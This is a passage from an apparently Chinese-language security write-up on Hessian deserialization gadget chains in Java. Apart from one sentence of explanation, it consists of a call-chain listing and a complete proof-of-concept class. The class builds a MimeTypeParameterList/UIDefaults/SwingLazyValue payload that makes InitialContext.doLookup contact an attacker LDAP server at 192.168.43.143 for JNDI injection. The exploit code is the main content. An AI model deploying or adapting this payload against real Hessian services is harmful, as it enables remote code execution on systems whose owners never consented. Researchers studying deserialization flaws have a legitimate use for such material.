setField(mimeTypeParameterList,"parameters",defaults);

// System.out.println(mimeTypeParameterList);

try {
String s0 = ser(mimeTypeParameterList0);
System.out.println(s0);
unser(s0);
}finally {
String s = ser(mimeTypeParameterList);
System.out.println(s);
unser(s);
}

PKCS9Attributes

1
2
3
4
5
6
7
PKCS9Attributes#toString->
PKCS9Attributes#getAttribute->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()

InitialContext.doLookup()

除了上面的MethodUtils之外,InitialContext.doLookup()也是可利用的静态方法,能直接进行jndi注入

image-20250405154850632

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import sun.reflect.ReflectionFactory;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

import java.util.*;

public class Test {

public static void main(String[] args) throws Exception {

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();

SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new Object[]{"ldap://192.168.43.143:50389/56a5ff"});

defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);

String s = ser(mimeTypeParameterList);
System.out.println(s);
unser(s);

}


public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
byteArrayOutputStream.write(67);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance();
}
}